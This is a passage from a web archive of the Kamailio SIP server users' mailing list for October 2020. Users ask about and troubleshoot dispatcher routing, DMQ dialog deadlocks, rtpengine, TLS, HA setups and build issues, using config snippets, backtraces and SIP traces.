inline:VKYaSCVwgvXCPaRvudTrgLORhWmOA7wyDJVeGjcu a=sendrecv a=oldmediaip:172.22.199.110 a=oldmediaip:172.22.199.110 ------------------------------------------------------------------------ This doesn’t seem valid, as the top Via doesn’t have a port specified? For reference, just rebuilt form the 5.4 branch today: commit 62dff5b8b157236cae7defe64291a6e4a8ae27b5 (upstream/5.4) Author: Kamailio Dev <kamailio.dev(a)kamailio.org> Date: Wed Oct 28 20:16:28 2020 +0100 modules: readme files regenerated - modules ... [skip ci] Thanks! ~Noah

6 19

Double port in TO header
by David Villasmil 30 Oct '20

30 Oct '20

Hello guys, This happened to me a long time ago but i totally forgot the reason. I using a simple dispatcher, and when relaying out to the destination, kamailio is adding an additional :5060 port to the To header: To: <sip:910609738@172.31.6.1:5080:5060> The Destination is actually 172.16.6.1:5080, i don't know why Kamailio is adding that :5060 The dispatcher is if (!ds_select_dst($var(dispatcher_outbound), "4")) { xlog("[DISPATCH]: ds_select_dst FAILED!\n"); send_reply("404", "No destination"); exit; } else { xlog("[DISPATCH]: ds_select_dst was succesful\n"); } xlog("L_DBG", "[DISPATCH]: going to <$ru> via <$du>\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); Any ideas? I totally forgot... and it's late, i guess... Thanks! David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 8

Re: [SR-Users] Building db_postgres with PostgreSQL headers and libs in non-standard location
by Chaigneau, Nicolas 30 Oct '20

30 Oct '20

Perfect, that's what I was looking for. :) Thanks! > This is what I have always done: > > # export PATH=$PATH:/usr/pgsql-${MAJOR_VER}/bin > # cd src/modules/db_postgres > # make install > > The `pg_config` utility in /usr/pgsql-${MAJOR_VER}/bin ensures that the proper header include path is supplied. > > -- Alex This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

1 0

Building db_postgres with PostgreSQL headers and libs in non-standard location
by Chaigneau, Nicolas 29 Oct '20

29 Oct '20

Hello, I'd like to build Kamailio module db_postgres, with the PostgreSQL headers and libs in a non-standard location. I'm trying to figure out how to do that, if it's possible, without having to edit db_postgres/Makefile. I see in the Makefile that it's trying to find the files relative to $(LOCALBASE): # use standard know paths # libpq-fe.h locations DEFS +=-I$(LOCALBASE)/include -I$(LOCALBASE)/pgsql/include \ -I$(SYSBASE)/include/pgsql -I$(SYSBASE)/include/postgresql \ -I$(SYSBASE)/include/postgresql/8.0 LIBS +=-L$(LOCALBASE)/lib -L$(LOCALBASE)/pgsql/lib \ -L$(LOCALBASE)/lib/pgsql -lpq However, LOCALBASE (which defaults to /usr/local) is used for many things other than PostgreSQL, so changing that is not a great idea, I think... Any idea ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 2

www.kamailio.org maintenance on 29th October 2020, 10:00 CET
by Henning Westerholt 29 Oct '20

29 Oct '20

Hello, there will be a short planned maintenance on www.kamailio.org<http://www.kamailio.org> on 29th October 2020 at 10:00 CET. Relevant services including main homepage and documentation wiki will be unavailable for about 10-15 minutes. Best regards, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 1

Kamailio unresponsive with Dialog+DMQ
by Patrick Wakano 28 Oct '20

28 Oct '20

Hello list, Hope all are doing well! We are running load tests in our Kamailio server, that is just making inbound and outbound calls and eventually (there is no identified pattern) Kamailio freezes and of course all calls start to fail. It does not crash, it just stops responding and it has to be killed -9. When this happens, SIP messages are not processed, dmq keepalive fails (so the other node reports as down), dialog KA are not sent, but Registrations from UAC seem to still go out (logs from local_route are seen). We don't have a high amount of cps, it is max 3 or 4 per sec, and it gets around 1900 active calls. We are now using Kamailio 5.2.8 installed from the repo on a CentOS7 server. Dialog has KA active and DMQ (with 2 workers) is being used on an active-active instance. >From investigation using GDB as pasted below, I can see UDP workers are stuck on a lock either on a callback from t_relay... #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1bce08 in futex_get (lock=0x7ffb35217b90) at ../../core/futexlock.h:108 #2 0x00007ffb2b1bec44 in bcast_dmq_message1 (peer=0x7ffb35e8bf38, body=0x7fff2e95ffb0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>, incl_inactive=0) at dmq_funcs.c:156 #3 0x00007ffb2b1bf46b in bcast_dmq_message (peer=0x7ffb35e8bf38, body=0x7fff2e95ffb0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>) at dmq_funcs.c:188 #4 0x00007ffb2a6448fa in dlg_dmq_send (body=0x7fff2e95ffb0, node=0x0) at dlg_dmq.c:88 #5 0x00007ffb2a64da5d in dlg_dmq_replicate_action (action=DLG_DMQ_UPDATE, dlg=0x7ffb362ea3c8, needlock=1, node=0x0) at dlg_dmq.c:628 #6 0x00007ffb2a61f28e in dlg_on_send (t=0x7ffb36c98120, type=16, param=0x7fff2e9601e0) at dlg_handlers.c:739 #7 0x00007ffb2ef285b6 in run_trans_callbacks_internal (cb_lst=0x7ffb36c98198, type=16, trans=0x7ffb36c98120, params=0x7fff2e9601e0) at t_hooks.c:260 #8 0x00007ffb2ef286d0 in run_trans_callbacks (type=16, trans=0x7ffb36c98120, req=0x7ffb742f27e0, rpl=0x0, code=-1) at t_hooks.c:287 #9 0x00007ffb2ef38ac1 in prepare_new_uac (t=0x7ffb36c98120, i_req=0x7ffb742f27e0, branch=0, uri=0x7fff2e9603e0, path=0x7fff2e9603c0, next_hop=0x7ffb742f2a58, fsocket=0x7ffb73e3e968, snd_flags=..., fproto=0, flags=2, instance=0x7fff2e9603b0, ruid=0x7fff2e9603a0, location_ua=0x7fff2e960390) at t_fwd.c:381 #10 0x00007ffb2ef3d02d in add_uac (t=0x7ffb36c98120, request=0x7ffb742f27e0, uri=0x7ffb742f2a58, next_hop=0x7ffb742f2a58, path=0x7ffb742f2e20, proxy=0x0, fsocket=0x7ffb73e3e968, snd_flags=..., proto=0, flags=2, instance=0x7ffb742f2e30, ruid=0x7ffb742f2e48, location_ua=0x7ffb742f2e58) at t_fwd.c:811 #11 0x00007ffb2ef4535a in t_forward_nonack (t=0x7ffb36c98120, p_msg=0x7ffb742f27e0, proxy=0x0, proto=0) at t_fwd.c:1699 #12 0x00007ffb2ef20505 in t_relay_to (p_msg=0x7ffb742f27e0, proxy=0x0, proto=0, replicate=0) at t_funcs.c:334 or loose_route... #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1bce08 in futex_get (lock=0x7ffb35217b90) at ../../core/futexlock.h:108 #2 0x00007ffb2b1bec44 in bcast_dmq_message1 (peer=0x7ffb35e8bf38, body=0x7fff2e9629d0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>, incl_inactive=0) at dmq_funcs.c:156 #3 0x00007ffb2b1bf46b in bcast_dmq_message (peer=0x7ffb35e8bf38, body=0x7fff2e9629d0, except=0x0, resp_cback=0x7ffb2a8a0ab0 <dlg_dmq_resp_callback>, max_forwards=1, content_type=0x7ffb2a8a0a70 <dlg_dmq_content_type>) at dmq_funcs.c:188 #4 0x00007ffb2a6448fa in dlg_dmq_send (body=0x7fff2e9629d0, node=0x0) at dlg_dmq.c:88 #5 0x00007ffb2a64da5d in dlg_dmq_replicate_action (action=DLG_DMQ_STATE, dlg=0x7ffb363e0c10, needlock=0, node=0x0) at dlg_dmq.c:628 #6 0x00007ffb2a62b3bf in dlg_onroute (req=0x7ffb742f11d0, route_params=0x7fff2e962ce0, param=0x0) at dlg_handlers.c:1538 #7 0x00007ffb2e7db203 in run_rr_callbacks (req=0x7ffb742f11d0, rr_param=0x7fff2e962d80) at rr_cb.c:96 #8 0x00007ffb2e7eb2f9 in after_loose (_m=0x7ffb742f11d0, preloaded=0) at loose.c:945 #9 0x00007ffb2e7eb990 in loose_route (_m=0x7ffb742f11d0) at loose.c:979 or t_check_trans: #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2a5ea9c6 in futex_get (lock=0x7ffb35e78804) at ../../core/futexlock.h:108 #2 0x00007ffb2a5f1c46 in dlg_lookup_mode (h_entry=1609, h_id=59882, lmode=0) at dlg_hash.c:709 #3 0x00007ffb2a5f27aa in dlg_get_by_iuid (diuid=0x7ffb36326bd0) at dlg_hash.c:777 #4 0x00007ffb2a61ba1d in dlg_onreply (t=0x7ffb36952988, type=2, param=0x7fff2e963bf0) at dlg_handlers.c:437 #5 0x00007ffb2ef285b6 in run_trans_callbacks_internal (cb_lst=0x7ffb36952a00, type=2, trans=0x7ffb36952988, params=0x7fff2e963bf0) at t_hooks .c:260 #6 0x00007ffb2ef286d0 in run_trans_callbacks (type=2, trans=0x7ffb36952988, req=0x7ffb3675c360, rpl=0x7ffb742f1930, code=200) at t_hooks.c:28 7 #7 0x00007ffb2ee7037f in t_reply_matching (p_msg=0x7ffb742f1930, p_branch=0x7fff2e963ebc) at t_lookup.c:997 #8 0x00007ffb2ee725e4 in t_check_msg (p_msg=0x7ffb742f1930, param_branch=0x7fff2e963ebc) at t_lookup.c:1101 #9 0x00007ffb2eee44c7 in t_check_trans (msg=0x7ffb742f1930) at tm.c:2351 And the DMQ workers are here: #0 0x00007ffb74e9bbf9 in syscall () from /lib64/libc.so.6 #1 0x00007ffb2b1d6c81 in futex_get (lock=0x7ffb35217c34) at ../../core/futexlock.h:108 #2 0x00007ffb2b1d7c3a in worker_loop (id=1) at worker.c:86 #3 0x00007ffb2b1d5d35 in child_init (rank=0) at dmq.c:300 Currently I will not be able to upgrade to latest 5.4 version to try to reproduce the error and since 5.2.8 has already reached end-of-life, maybe is there anything I can do on the configuration to avoid such condition? Any ideas are welcome! Kind regards, Patrick Wakano

3 6

Kamailio v5.4.2 Released
by Daniel-Constantin Mierla 27 Oct '20

27 Oct '20

Hello, Kamailio SIP Server v5.4.2 stable release is out. This is a maintenance release of the latest stable branch, 5.4, that includes fixes since the release of v5.4.1. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.4.x. Deployments running previous v5.4.x versions are strongly recommended to be upgraded to v5.4.1. For more details about version 5.4.2 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/10/kamailio-v5-4-2-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Releasing Kamailio v5.4.2
by Daniel-Constantin Mierla 27 Oct '20

27 Oct '20

Hello, I am considering to release Kamailio v5.4.2 sometime next week, likely on Tuesday, October 27, 2020. This is the usual heads up notification to see if anyone is aware of issues not yet reported to bug tracker and if yes, do it as soon as possible to give them a chance to be fixed. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

1 1

KEMI and Native mixing
by Marcin Kowalczyk 26 Oct '20

26 Oct '20

Hi, Is it possible to mix both KEMI (lua) and Native configs in one kamailio instance? So some blocks are called from native script and some others from KEMI (lua)? Marcin

6 5

Kamailio-5.x and Asterisk16.X Integration Walkthrough Videos or Wikis
by Lorem Ipsum 26 Oct '20

26 Oct '20

Hi there, After reading about Kamailio, i like this project but i am having trouble finding the wikis or step by step guide to successfully integrate asterisk with kamailio for simple use case where phones register to the asterisk pbx via kamailio and make/receive calls to ITSP, there is no proper documentation on 2 products integration, really appreciated your guidance and if somebody could provide me the step by step guide. Looking forward to the guides.

2 1

I want to write function in group module but i could not
by ahmed moghazy 25 Oct '20

25 Oct '20

I have 2 function first If(is_user_in(“Request-URI”, ”ld”)){ ..... } So i dont know what to do , second If(get_user_group(“Request-URI”, ”$avp(i:10)”){ ... } I put users in 2 groups but they could call each others but i dont want that . Any help please , Thank you.

1 0

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 22 Oct '20

22 Oct '20

Hi Duarte, I'm not sure if your situation is more complicated than mine. I have two dispatcher nodes in the HA setup, with real IPs say IPa, IPb. They share a floating/virtual IP, let's call it VIP. Both nodes listen to the VIP (not its real IP), and use the VIP as the dispatcher's socket. In this case the master node which has the VIP can always send OPTIONS pings fine. My problem was with the backup node, which doesn't have the VIP so fails to send OPTIONS pings. Joel Serrano gave a good suggestion: both nodes start up with polling disabled, and only when a node turns master it enables the polling. This has solved my problem. Cheers, Yufei

1 0

Incoming DID calls routing to subscriber
by Jose N Figueroa 22 Oct '20

22 Oct '20

Hello everybody, I'm trying to route incoming calls to kamailio with specific subscriber but I can't make it working. The complete scenario is: SoftSwith -> kamailio 5.3 -> zoiper What i'm trying to do is to receive a call into the zoiper when I dial specific DID which is already coming into the kamailio. It goes until the routing from kamilio to the subscriber account but it keeps in INVITE command, no response from the subscriber. Any help would be great! This is what I've been trying but no luck yet: if($rdir(name)=="downstream") { xlog("DID request was incoming call, called number: $rU caller_id: $fU and source_ip $si \n"); $sht(rtpProxy=>mip_$ci)=1; # We should take the called_number as username in table # Also validate if the number has active that DID, balance if needed, etc. # route(validate_customer); # I know, hardcoded for testing sql_xquery("ca", "select * from location where username = 1212 ", "ra"); $avp(location_addr) = $xavp(ra=>received); xlog("DID did_incoming location is $xavp(ra=>received) \n"); # Validate SIP OK #setflag(SIP_IP_OK); #$rU=$avp(dnis); #$rd=$avp(identity); #$rp=$avp(port); # uac_replace_to($xavp(ra=>contact)); uac_replace_to("sip:1212@voip.x.net:5060"); # $ru = $var(duri); $ru=$xavp(ra=>contact); $ru="sip:1212@voip.x.net:5060"; route(RELAY); # t_on_failure("dst_failure"); # t_on_reply("dst_reply"); if(!t_relay()) { sl_reply_error(); exit; } exit; } -- Regards, Jose N Figueroa

3 3

Load balance on HA scenario
by Duarte Rocha 21 Oct '20

21 Oct '20

Greetings, I have two machines with Kamailio in a HA setup with replicated DB. For simplicity let's say each machine has one HA IP and that IP can jump to the other machine in case something happens (kamailio stopping, etc). I'm using Dispatcher with load balance configuration. I have Dispatcher configured so that each peer has one instance for socket with HA IP 1 and HA IP 2. In order for this to work correctly on the load balance scenario I must disable via RPC command the peer which has the socket that doesn't belong to the machine. I also must do it every time the IP jumps back and forth, which adds complexety to my system. Does Dispatcher has any sort of help on this? It could not include peers with sockets IPs that don't belong to the machine in the destination set, for example. Is this possible? I could also work with failover support but i would rather avoid having so many failovers. Best Regards,A

3 8

kamailio RTP Engine in kubernetes pods
by Pavithra Mohanraja 21 Oct '20

21 Oct '20

Hi, I have installed rtp engine inside pcscf pod and tried to make a call. caller was unable to reach the pod environment with 2223 port exposed for rtp. Kindly anyone help, if you have already done with pod based deployment of ims. Thanks, Pavithra

4 7

Kamailio + rtpengine
by Amit Pal 21 Oct '20

21 Oct '20

Hi, I have using kamailio with rtpengine, I have started rtpengine session (rtpengine_offer() /rtpengine_answer() )only when call getting hold and then play media file and on un hold detach rtpengine session(rtpengine_delete()). during this activity I have received the log "No supported output codec found in SDP" from rtpengine. And getting silence on other leg. Above activity log are attach in mail. if we do same step again (i.e. hold/unhold) in same call then second leg listening the file perfectly and rtpengine working fine vice-versa. I want to know , what else missing to configure here. Pls guide me to get out this. Regards Amit Pal

2 1

How to read "duid" from dispatcher.list in kamamilio.cfg
by Jani Biju Babjan 21 Oct '20

21 Oct '20

Hi, I have a dispatcher.list file like the following: 1 sip:127.0.0.1:5060 0 0 duid=abcd;maxload=5 1 sip:127.0.0.2:5060 0 0 duid=efgh;maxload=5 After calling the ds_select_dst("1", "4") function(ie, round-robin selection), I want to read the value of the "duid" attribute of the selected destination and then pass it to a database. How can I read this value in the configuration file? Jani Biju Babjan

2 2

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 21 Oct '20

21 Oct '20

Hi Joel, Thanks for the tip! Having the pings disabled and enable it on HA status being master sounds like a good idea :) Cheers, Yufei

1 0

ERROR: <core> [core/socket_info.c:2225]: parse_protohostport():
by Andy Kama 20 Oct '20

20 Oct '20

I am seeing this error in the logs i am using kamailio 5.4.1 any idea what the cause is? ERROR: <core> [core/socket_info.c:2225]: parse_protohostport(): bad protocol in sip:myp:5060

2 4

Re: [SR-Users] Load balance on HA scenario
by Yufei Tao 20 Oct '20

20 Oct '20

Hi Duarte, Not sure if I understand it correctly but are you trying to set up an HA pair of dispatchers? If so I am doing it differently in that, I use the Virtual/floating IP (VIP) as socket. This way the master node (which has got the VIP) can send OPTIONs pings out fine but the backup node won't be able to send. Functionally it is fine, but the backup node keeps logging errors because it doesn't have the VIP: ERROR: <core> [core/udp_server.c:599]: udp_send(): sendto(sock, buf: 0x7f0e6b54e2e0, len: 372, 0, dst: (192.168.213.143:5060), tolen: 16) - err: Network is unreachable (101) ERROR: tm [../../core/forward.h:231]: msg_send_buffer(): udp_send failed When FO happens, the backup node becomes master and takes the VIP, and it functions correctly. But I haven't worked out how to avoid the ERROR loggings on the backup node. Maybe someone else has any better ideas/suggestions? Cheers, Yufei

2 1

No retry on INVITE
by Allan Kristensen 20 Oct '20

20 Oct '20

Hello, I'm trying to get Kamailio to retry INVITE. We have a Freeswitch which is sending INVITE to a sip user via Kamailio proxy using static ip/location. All is well, calls are flowing, but sometimes INVITE from kamailio to user is lost and no attempt to retry is occurring and so after 30 sec kamailio just returns 408 Request timeout. Call flow is like this: FS Kamailio User --- INVITE --> <-- 100 Trying --- INVITE ---> (Waiting 30 secs) <-- 408 Timeout --- ACK ---> So assume we have failed in handling retries somehow. Kamailio is running stateless, but other retries are working, so I assume this is not a problem? Can someone perhaps point us in the right direction on where to solve this? Kamailio is version 5.2.4 Thank you... /Allan

3 4

Re: [SR-Users] SRTP
by Yufei Tao 20 Oct '20

20 Oct '20

Hi, Like Olle said RTPEngine is perfectly capable of handling one leg in RTP the other in SRTP. When looking up RTPEngine's documentation, may be worth checking these out: SRTP SDES-unencrypted_srtp SDES-unencrypted_srtcp SDES-unauthenticated_srtp e.g. try apply these flags to rtpengin_offer() on the incoming RTP leg, to get RTPEngine to add encryption to the outgoing leg etc. Cheers, Yufei

1 0

Re: [SR-Users] Kamailio 5.2.5 - Need help with rtpengine error
by Yufei Tao 20 Oct '20

20 Oct '20

Hi Andrew, Like Alex said, have a look at the commands RTPEngine received and the responses it sent in the history of the call, and see if RTPEngine has ever received any commands regarding this call, or, if the call has been deleted from RTPEngine. You can raise the RTPEngine logging level to 6 for example so you can see the command/responses of RTPEngine. Cheers, Yufei

1 0

about registrar save()/lookup()
by Juha Heinanen 20 Oct '20

20 Oct '20

I didn't find any mention in registrar module README that save() function saves also branch flags and that lookup() retrieves them. Is that documented somewhere? -- Juha

3 5

dialog_active_dialogs erroneous value
by Sergiu Pojoga 20 Oct '20

20 Oct '20

Hi there, Every now and then, the value of active dialogs metric spikes to an erroneous huge number, messing up my otherwise beautiful grafana gauges :( Example: kamailio_dialog_active_dialogs 18446744073709551614 1602812239115 kamailio_dialog_early_dialogs 0 1602812239115 kamailio_dialog_expired_dialogs 2 1602812239115 kamailio_dialog_failed_dialogs 7361 1602812239115 Anybody faced the same symptoms, any clues what might be causing this? Thanks, --Sergiu

3 6

TOPOS module and fix_nated_contact
by Minh Phan 19 Oct '20

19 Oct '20

Hi List, I am using Topos module to hide network topology. I am having a problem of routing the ACK request for REINVITE. Here is the schema: A KAMAILIO B 1. --------- INVITE --------> 2. <---- 180 RINGING --- 3. <---- 200 OK --- 4. ---- ACK ---> 5. <--------- (RE) INVITE -- 6. --------- OK ---> 7. <---- ACK ----- (THIS ACK IS SENT TO PRIVATE IP OF A) I use TOPOS module along with fix_nated_contact as I would do normally for natted UAs. The first ACK (4) is routed correctly but not the second one (7), which is routed to the PRIVATE IP of A instead of routing to its public address. Has anyone run into this problem while using TOPOS module? How could I make them work together? Best Regards, Minh Phan

2 1

hold_on_music over P2P call [Kamailio]
by Amit Pal 19 Oct '20

19 Oct '20

Hi Team, Pls guide me on following point. :- By using kamailio (P2P call), want to play hold on music during hold call. Shall it be possible without any external media server like (RTPProxy/media proxy). Regards Amit Pal

2 1

Kamailio IMS RTP Engine
by Pavithra Mohanraja 19 Oct '20

19 Oct '20

Hi, I have followed below link to setup rtp engine. https://open5gs.org/open5gs/docs/tutorial/02-VoLTE-setup/ RTP engine is started without any errors and it is enabled in pcscf also. I am using the config files of pcscf as per the above link .. still rtp packets are not reaching pcscf from UE . What could be the problem? The only difference is that i have deployed ims in kubernetes environment as pods. Kindly help. Thanks, Pavithra

2 2

Libphonenumber - Updating metadata
by Zach Nielsen 18 Oct '20

18 Oct '20

Hey all, I've been using the PHONENUM module, which uses Google's libphonenumber library, to perform number validation among other handy things within the route script. One problem I've run into however is the metadata in the latest stable (5.4) repo is pretty stale. I'm curious if anyone is running this module, and if so how they've gone about updating the metadata used by the underlying library. If I have to ditch the repo and compile everything manually, that's not a huge deal. Just hoping there's another way. Thanks! Zach

3 3

No trusted table found
by Jon Bonilla (Manwe) 17 Oct '20

17 Oct '20

Hi all Just installed a kamailio 5.4.1 for a simple proxy scenario. I created the version,address and trusted tables, and added some ips to the trusted via kamctl. If I execute "kamctl trusted show" I see the list of servers. But with "kamctl trusted dump" I receive { "jsonrpc": "2.0", "error": { "code": 500, "message": "No trusted table" }, "id": 13063 } when I start kamailio with debug I see these messages: b_do_submit_query(): submitted query: select `table_version` from `version` where `table_name`='trusted', result 0 my version table looks like this: +----+------------+---------------+ | id | table_name | table_version | +----+------------+---------------+ | 1 | version | 1 | | 2 | trusted | 6 | | 3 | address | 6 | +----+------------+---------------+ any hints? cheers, Jon -- PekePBX, the multitenant PBX solution https://pekepbx.com

2 5

TLS connection from Chrome to Kamailio fails
by Juha Heinanen 17 Oct '20

17 Oct '20

White testing WebRTC, I noticed that TLS connection from Chrome browser 85.0.4183.121 to Kamailio's (master version) TLS listening port fails. Chrome sends Client Hello and K responds with Server Hello. After that Chrome terminates the handshake by sending TCP FIN. Connection setup from Firefox works fine. After receiving Server Hello, is sends Change Cipher Spec, etc. My K is using Let's Encrypt server certificate and is server tls_method is TLSv1.2+. Any ideas what goes wrong? Has anyone else experienced this? -- Juha

3 6

How to increase private & shared memory in kamailio Container?
by Hamid Hashmi 16 Oct '20

16 Oct '20

Dear Users How can I increase private memory in the Kamailio container? the service was started with the following command docker run -d --restart unless-stopped --network host -v /root/volumes/scscf/:/etc/kamailio --name scscf -e IP=10.161.224.90 -e INT_IP=10.161.224.90 10.161.224.196:5000/kamailio-ngvoice PS: I don't have a docker file to build the image again. Regards Hamid R. Hashmi

2 1

usrloc_dmq - Suddenly stopped usrloc replication
by José Seabra 16 Oct '20

16 Oct '20

Hello there, Suddenly the usrloc replication through DMQ stopped, but the interesting thing is that DMQ cluster status is OK, htable replication still working only usrloc_dmq stopped working. I increased the kamailio loglevel to 3 in order to see if there was some log related and then registered a peer, but the only DMQ logs that I see are related with notification_peer and htable replication, nothing related with usrloc_dmq. What I can do more here to try to understand what went wrong? I haven't restarted the cluster yet, because I would like to try to understand the root cause of this issue. Any advice would be appreciated Thank you -- Cumprimentos José Seabra

3 8

Kamailio 5.2.5 - Need help with rtpengine error
by Andrew Chen 15 Oct '20

15 Oct '20

Hi all, Today I saw the following errors reported by rtpengine module: Oct 15 15:02:10 ashprodkama52 kamailio[8028]: 30(8086) DEBUG: rtpengine [rtpengine.c:2453]: rtpp_function_call(): proxy reply: d6:result5:error12:error-reason15:Unknown call-ide Oct 15 15:02:10 ashprodkama52 kamailio[8028]: 30(8086) ERROR: rtpengine [rtpengine.c:2474]: rtpp_function_call(): proxy replied with error: Unknown call-id This was on the 200 OK response back from our Freeswitch. Any idea what would cause this? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

2 2

Regd : SIP Configuration in Kamailio
by Santanu B 15 Oct '20

15 Oct '20

Hi, We are using Jitsi Meet for Video Conference Service. We want our SIP endpoint to join in the conference room in Jitsi. For that i am trying to configure Kamailio SIP Server in our environment. I have installed the Server and my endpoints are registered in my SIP server. Both endpoints are able to connect to each other. But I am unable to configure the SIP endpoints to join in the Meet Conference Room. Please guide me to configure. Thanks and regards, Santanu

5 5

sdpops - modifying sdp codecs' presedence list - order
by Melek Oktay 15 Oct '20

15 Oct '20

Hello, Kamailio *sdpops *module consist of several useful functions for manipulating SDP on Proxy side such as *sdp_keep_codecs_by_name*() . This function *sdp_keep_codecs_by_name*("PCMU,PCMA,GSM") finds codecs id [0,8,3] and if incoming packet consist of other than these codecs, they are removed ! For example, assume incoming packet SDP --> [8 0 3 9 101] after applying this function 9 and 101 are removed and outgoing packet SDP consist only PCMU,PCMA,GSM [0,8,3]. This function does taking given codec *precedence/priority* into account. As you see above message SDP is 8 0 3, different priority than inputted 0 8 3. I need to change *order *of codecs too ! Would you help me to do it ? I couldn't find *add *operation on *sdpops *module Regards, Melek

1 0

Kamailio Relay Replies Issue
by me.projects＠yahoo.com 15 Oct '20

15 Oct '20

I have DID provider which is sending INVITES to Kamailio and kamailio has UAC module with asterisk to forward Calls to Asterisk with uac_auth() 1-DID Provider ----> (TLS)2-Kamailio (UDP) -----> (UDP) 3-Asterisk Call from Kamailio to Asterisk is forwarded and answered but NON of the reply received in "MANAGE_REPLY" route is not relayed back to DID provider call get disconnected. =================SIP DUMP INVITE FROM DID INVITE sip:+1700@KAMAILIOSERER.com:5061;user=phone;transport=tls SIP/2.0FROM: Alga Tech<sip:+17900000002@DIDPROVIDER.com:5061;user=phone>;tag=28989e96e28d47d891b4d8d21d85fa92TO: <sip:+1700@KAMAILIOSERER.com:5061;user=phone>CSEQ: 1 INVITECALL-ID: 936ba28f302f5a5d9b09f32e2e7c41f2MAX-FORWARDS: 70VIA: SIP/2.0/TLS DID-IP:5061;TH=div;branch=z9hG4bK77976715RECORD-ROUTE: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>CONTACT: <sip:DIDPROVIDER-CONTACT.com:443;x-i=b9483d0b-e3aa-4487-8dec-68de62d93a35;x-c=936ba28f302f5a5d9b09f32e2e7c41f2/d/8/26d69f6b729942a799552629a315d5d1>CONTENT-LENGTH: 1103MIN-SE: 300SUPPORTED: timerUSER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.10.12.5 i.USEA.0CONTENT-TYPE: application/sdpALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFYSESSION-EXPIRES: 3600TH: dih -----------------------Invite to Asterisk with AUTH INVITE sip:+1700@KAMAILIOSERER.com:5061;user=phone;transport=tls SIP/2.0FROM: Alga Tech<sip:+17900000002@DIDPROVIDER.com:5061;user=phone>;tag=28989e96e28d47d891b4d8d21d85fa92TO: <sip:+1700@KAMAILIOSERER.com:5061;user=phone>CSEQ: 1 INVITECALL-ID: 936ba28f302f5a5d9b09f32e2e7c41f2MAX-FORWARDS: 69VIA: SIP/2.0/TLS DID-IP:5061;TH=div;branch=z9hG4bK77976715RECORD-ROUTE: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>CONTACT: <sip:DIDPROVIDER-CONTACT.com:443;x-i=b9483d0b-e3aa-4487-8dec-68de62d93a35;x-c=936ba28f302f5a5d9b09f32e2e7c41f2/d/8/26d69f6b729942a799552629a315d5d1>CONTENT-LENGTH: 1103MIN-SE: 300SUPPORTED: timerUSER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.10.12.5 i.USEA.0CONTENT-TYPE: application/sdpALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFYSESSION-EXPIRES: 3600TH: dih ------------------ >From Asterisk to Kamailio SIP/2.0 100 TryingVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>CSeq: 1 INVITEServer: AsteriskContent-Length: 0TH: uch ---------------------- >From Asterisk to Kamailio SIP/2.0 180 RingingVia: 